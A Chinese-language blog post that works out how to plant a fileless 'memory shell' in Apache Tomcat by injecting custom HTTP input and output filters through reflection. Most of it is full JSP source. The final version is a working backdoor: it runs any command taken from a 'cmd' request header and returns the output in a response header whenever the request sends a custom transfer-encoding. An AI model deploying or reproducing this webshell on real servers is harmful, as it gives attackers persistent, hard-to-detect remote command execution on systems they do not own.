描述

这次来炒个冷饭,研究一下tomcat的内存马。

内存马没什么好说的,只要是在tomcat的执行流程中,很多对象都有成为内存马的潜质。我这里找到了一个包过滤功能。有输入包过滤器InputFilter、输出包过滤器OutputFilter等等。

网上找了个图
image.png

在创建createProcessor的过程中,可以看到在org.apache.coyote.http11.Http11Processor#Http11Processor

image.png
可以看到在inputBuffer与outputBuffer中添加了各类过滤器

image.png

其实这一步添加的是org.apache.coyote.http11.Http11InputBuffer 中的filterLibrary,真正执行的是activeFilters

在org.apache.coyote.http11.Http11Processor#prepareRequest 中

image.png

可以看到,满足一定条件就会添加一个activeFilter,比如contentLength >=0

下面便开始尝试植入内存马

一次不太成功的尝试

初步测试

首先我想到的是修改ActiveFilters,然后使用 doWrite、doRead 函数执行危险函数,doRead我一直没看到调用,doWrite函数会出现一种情况

image.png

lastActiveFilter 是ActiveFilters的最后一个ActiveFilter的位置,在每一个请求中ActiveFilters 都会添加一个系统的ActiveFilter,就比如contentLength>=0或<0都会添加一个ActiveFilter,会顶掉我们插入的ActiveFilter,从而无法调用。

然后我看到了recycle 方法

image.png

这里会循环调用lastActiveFilter。就把目标设到这里了。

先尝试写一个

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.coyote.http11.InputFilter" %>
<%@ page import="org.apache.tomcat.util.buf.ByteChunk" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.net.ApplicationBufferHandler" %>
<%@ page import="org.apache.coyote.InputBuffer" %>
<%@ page import="org.apache.coyote.Response" %>
<%@ page import="org.apache.coyote.OutputBuffer" %>
<%@ page import="org.apache.coyote.http11.OutputFilter" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page import="org.apache.coyote.http11.HttpOutputBuffer" %>

<%
    class testInputFileter implements InputFilter {
        public org.apache.coyote.Request request;
        @Override
        public int doRead(ByteChunk chunk) throws IOException {
            return 0;
        }

        @Override
        public int doRead(ApplicationBufferHandler handler) throws IOException {
            return 0;
        }

        @Override
        public void setRequest(org.apache.coyote.Request request) {
            this.request = request;
        }

        @Override
        public void recycle() {
            Response response1 = (Response) this.request.getResponse();

        }

        @Override
        public ByteChunk getEncodingName() {
            return null;
        }

        @Override
        public void setBuffer(InputBuffer buffer) {

        }

        @Override
        public long end() throws IOException {
            return 0;
        }

        @Override
        public int available() {
            return 0;
        }

        @Override
        public boolean isFinished() {
            return false;
        }
    }


    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    org.apache.coyote.Request req2 = req.getCoyoteRequest();
    InputBuffer inputBuffer = (InputBuffer) req2.getInputBuffer();

    testInputFileter testFilter = new testInputFileter();
    testFilter.setRequest(req2);
    Field activeFilters = inputBuffer.getClass().getDeclaredField("activeFilters");
    activeFilters.setAccessible(true);
    InputFilter[] newactiveFilters = new InputFilter[2];
    newactiveFilters[0] = testFilter;
    activeFilters.set(inputBuffer,newactiveFilters);
    Field lastActiveFilter = inputBuffer.getClass().getDeclaredField("lastActiveFilter");
    lastActiveFilter.setAccessible(true);
    lastActiveFilter.set(inputBuffer,0);


%>

设置lastActiveFilter 为0,

image.png

可以看到成功插入,并且能够执行。

那我们访问另一个页面呢?

image.png

插入的inputfilter没有了,调用之后便会删除inputfilter,我们试着增加InputFilter的数量,再添加一个testFilter,

image.png

一样的先访问shell,再访问其他页面

image.png

看到虽然还有我们插入的类,但是lastActiveFilter 却为0,无法调用我们的类。原因是每次调用完毕lastActiveFilter 的值修改成了-1。

尝试绕过

第一个想法,我们在调用的时候弹出错误是否就不会重新赋值lastActiveFilter为-1呢?

我们在第一步将lastActiveFilter 设置为一个超过数组长度的值,比如3。

image.png

这样在多次循环后,便会超过数组长度报错推出了。

然后当我访问新页面时,

image.png

重新调用了createProcessor,将Http11Processor 给重新赋值了,看一下原因:

在processor 为nul时
image.png

processor 从recycledProcessors 弹出,为空则重新赋值。

recycledProcessors在哪插入数据的呢?

在http请求完后会调用release 方法,(这一步在我们调用第一次recycle 产生报错之后)

image.png

image.png

问题出在processor.recycle(),会第二次调用recycle 方法,这一步再次产生报错,而无法执行

recycledProcessors.push(processor);

image.png

尬住了。。。。。。

同理,outputFilter也是一样的逻辑。

第二种绕过

在似乎没辙的情况下,我想到了另一个绕过方式。

inputBuffer.recycle();
outputBuffer.recycle();

我们可以看到每次调用都是同时调用inputBuffer与outputBuffer的recycle方法,

我们可以设想一个套娃的方法,

在inputFilter中的recycle方法设置outputBuffer的lastActiveFilter与activeFilters

在outputFilter中的recycle方法设置inputBuffer的lastActiveFilter与activeFilters

haha,是不是有点意思

经过调试,代码如下:

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.coyote.http11.Http11InputBuffer" %>
<%@ page import="org.apache.jasper.runtime.HttpJspBase" %>
<%@ page import="org.apache.coyote.http11.InputFilter" %>
<%@ page import="org.apache.tomcat.util.buf.ByteChunk" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.net.ApplicationBufferHandler" %>
<%@ page import="org.apache.coyote.InputBuffer" %>
<%@ page import="java.rmi.RemoteException" %>
<%@ page import="org.apache.coyote.Response" %>
<%@ page import="org.apache.coyote.OutputBuffer" %>
<%@ page import="org.apache.coyote.http11.OutputFilter" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page import="org.apache.coyote.http11.HttpOutputBuffer" %>
<%@ page import="org.apache.coyote.http11.filters.IdentityOutputFilter" %>
<%@ page import="org.apache.coyote.http11.filters.VoidInputFilter" %>

<%
    class testInputFileter implements InputFilter {
        public org.apache.coyote.Request request;
        @Override
        public int doRead(ByteChunk chunk) throws IOException {
            return 0;
        }

        @Override
        public int doRead(ApplicationBufferHandler handler) throws IOException {
            return 0;
        }

        @Override
        public void setRequest(org.apache.coyote.Request request) {
            this.request = request;
        }

        @Override
        public void recycle() {
            System.out.println("asd");
            Response response1 = (Response) this.request.getResponse();
            try {
                Field outputBuffer = response1.getClass().getDeclaredField("outputBuffer");
                outputBuffer.setAccessible(true);
                OutputBuffer http11outputBuffer = (OutputBuffer) outputBuffer.get(response1);
                Field lastActiveFilter = http11outputBuffer.getClass().getDeclaredField("lastActiveFilter");
                lastActiveFilter.setAccessible(true);
                lastActiveFilter.set(http11outputBuffer,1);
            } catch (NoSuchFieldException e) {
                throw new RuntimeException(e);
            } catch (IllegalAccessException e) {
                throw new RuntimeException(e);
            }

        }

        @Override
        public ByteChunk getEncodingName() {
            return null;
        }

        @Override
        public void setBuffer(InputBuffer buffer) {

        }

        @Override
        public long end() throws IOException {
            return 0;
        }

        @Override
        public int available() {
            return 0;
        }

        @Override
        public boolean isFinished() {
            return false;
        }
    }
    class TestOutFilter implements OutputFilter{
        private org.apache.coyote.Request request;

        public void setRequest(org.apache.coyote.Request request) {
            this.request = request;
        }
        @Override
        public void setResponse(Response response) {

        }

        @Override
        public void recycle() {

            InputBuffer inputBuffer = (InputBuffer) this.request.getInputBuffer();

            testInputFileter testFilter = new testInputFileter();
            testFilter.setRequest(this.request);
            try {
                Field activeFilters = inputBuffer.getClass().getDeclaredField("activeFilters");
                activeFilters.setAccessible(true);
                InputFilter[] newactiveFilters = new InputFilter[2];
                newactiveFilters[0] = testFilter;
                newactiveFilters[1] = testFilter;
                activeFilters.set(inputBuffer,newactiveFilters);
                Field lastActiveFilter = inputBuffer.getClass().getDeclaredField("lastActiveFilter");
                lastActiveFilter.setAccessible(true);
                lastActiveFilter.set(inputBuffer,0);
            } catch (NoSuchFieldException e) {
                throw new RuntimeException(e);
            } catch (IllegalAccessException e) {
                throw new RuntimeException(e);
            }


        }

        @Override
        public void setBuffer(HttpOutputBuffer buffer) {

        }


        @Override
        public void end() throws IOException {

        }

        @Override
        public void flush() throws IOException {

        }


        @Override
        public int doWrite(ByteChunk chunk) throws IOException {
            return 0;
        }

        @Override
        public int doWrite(ByteBuffer chunk) throws IOException {
            return 0;
        }

        @Override
        public long getBytesWritten() {
            return 0;
        }
    }

    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    org.apache.coyote.Request req2 = req.getCoyoteRequest();
    InputBuffer inputBuffer = (InputBuffer) req2.getInputBuffer();

    testInputFileter testFilter = new testInputFileter();
    testFilter.setRequest(req2);
    Field activeFilters = inputBuffer.getClass().getDeclaredField("activeFilters");
    activeFilters.setAccessible(true);
    InputFilter[] newactiveFilters = new InputFilter[2];
    newactiveFilters[0] = testFilter;
    newactiveFilters[1] = testFilter;
    activeFilters.set(inputBuffer,newactiveFilters);
    Field lastActiveFilter = inputBuffer.getClass().getDeclaredField("lastActiveFilter");
    lastActiveFilter.setAccessible(true);
    lastActiveFilter.set(inputBuffer,0);


    //response
    Response response1 = (Response) req2.getResponse();

    Field outputBuffer = response1.getClass().getDeclaredField("outputBuffer");
    outputBuffer.setAccessible(true);
    OutputBuffer http11outputBuffer = (OutputBuffer) outputBuffer.get(response1);

    TestOutFilter testFilter2 = new TestOutFilter();
    testFilter2.setRequest(req2);
    Field activeFilters2 = http11outputBuffer.getClass().getDeclaredField("activeFilters");
    activeFilters2.setAccessible(true);
    OutputFilter[] newactiveFilters2 = new OutputFilter[2];
    newactiveFilters2[0] = testFilter2;
    newactiveFilters2[1] = testFilter2;
    activeFilters2.set(http11outputBuffer,newactiveFilters2);
    Field lastActiveFilter2 = http11outputBuffer.getClass().getDeclaredField("lastActiveFilter");
    lastActiveFilter2.setAccessible(true);
    lastActiveFilter2.set(http11outputBuffer,1);

%>

访问shell后访问另一个页面

image.png

成功实现了我们的想法。

这里还是比较有意思的,但是再回显的时候遇到了麻烦,因为调用recycle方法的时候,request对象已经清空了,没办法再获取值什么的。

image.png
不过这个思路挺好,就记录下来了。

成功的内存马

在执行org.apache.coyote.http11.Http11Processor#prepareRequest的时候,我们注意到

image.png

在获取到transfer-encoding中的值后,会调用org.apache.coyote.http11.Http11Processor#addInputFilter

image.png

这里会循环调用inputFilters中inputFilter的getEncodingName()方法,如果匹配则加入到ActiveFilters中。

inputFilters 正是filterLibrary,所以我们可以将自定义的inputFilter插入filterLibrary,同时在请求头中设置

transfer-encoding,来触发调用。代码如下

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.coyote.http11.InputFilter" %>
<%@ page import="org.apache.tomcat.util.buf.ByteChunk" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.net.ApplicationBufferHandler" %>
<%@ page import="org.apache.coyote.InputBuffer" %>
<%@ page import="org.apache.coyote.Response" %>
<%@ page import="java.nio.charset.Charset" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>

<%
    class testInputFileter implements InputFilter {
        public org.apache.coyote.Request request;
        @Override
        public int doRead(ByteChunk chunk) throws IOException {
            return 0;
        }

        @Override
        public int doRead(ApplicationBufferHandler handler) throws IOException {
            return 0;
        }

        @Override
        public void setRequest(org.apache.coyote.Request request) {
            this.request = request;
        }

        @Override
        public void recycle() {
            return;

        }

        @Override
        public ByteChunk getEncodingName() {
            ByteChunk byteChunk = new ByteChunk();
            byteChunk.setBytes("test".getBytes(Charset.forName("ISO-8859-1")),0, "test".length());
            try {
                String cmd = this.request.getHeader("cmd");
                if(cmd != null){
                    InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String output = s.hasNext() ? s.next() : "";
                    this.request.getResponse().addHeader("cmdresult",output);
                }
                this.request.getResponse().addHeader("cmdresult","None");
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
            return byteChunk;
        }

        @Override
        public void setBuffer(InputBuffer buffer) {

        }

        @Override
        public long end() throws IOException {
            return 0;
        }

        @Override
        public int available() {
            return 0;
        }

        @Override
        public boolean isFinished() {
            return false;
        }
    }

    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    org.apache.coyote.Request req2 = req.getCoyoteRequest();
    InputBuffer inputBuffer = (InputBuffer) req2.getInputBuffer();
    testInputFileter testFilter = new testInputFileter();
    testFilter.setRequest(req2);
    Field filterLibrary = inputBuffer.getClass().getDeclaredField("filterLibrary");
    filterLibrary.setAccessible(true);
    InputFilter[] temp = (InputFilter[]) filterLibrary.get(inputBuffer);
    InputFilter[] newactiveFilters = new InputFilter[temp.length+1];
    for (int i = 0; i < temp.length; i++) {
        newactiveFilters[i] = temp[i];
    }
    newactiveFilters[temp.length] = testFilter;
    filterLibrary.set(inputBuffer,newactiveFilters);

%>

首先正常访问shell,插入inputFilter

再次访问其他页面,加上

transfer-encoding: test

image.png

image.png

可见成功调用了getEncodingName 方法,并且能够回显。

现在想想,也可以把inputFilters中的inputFilter给替换了,不过这本来就是一些思路。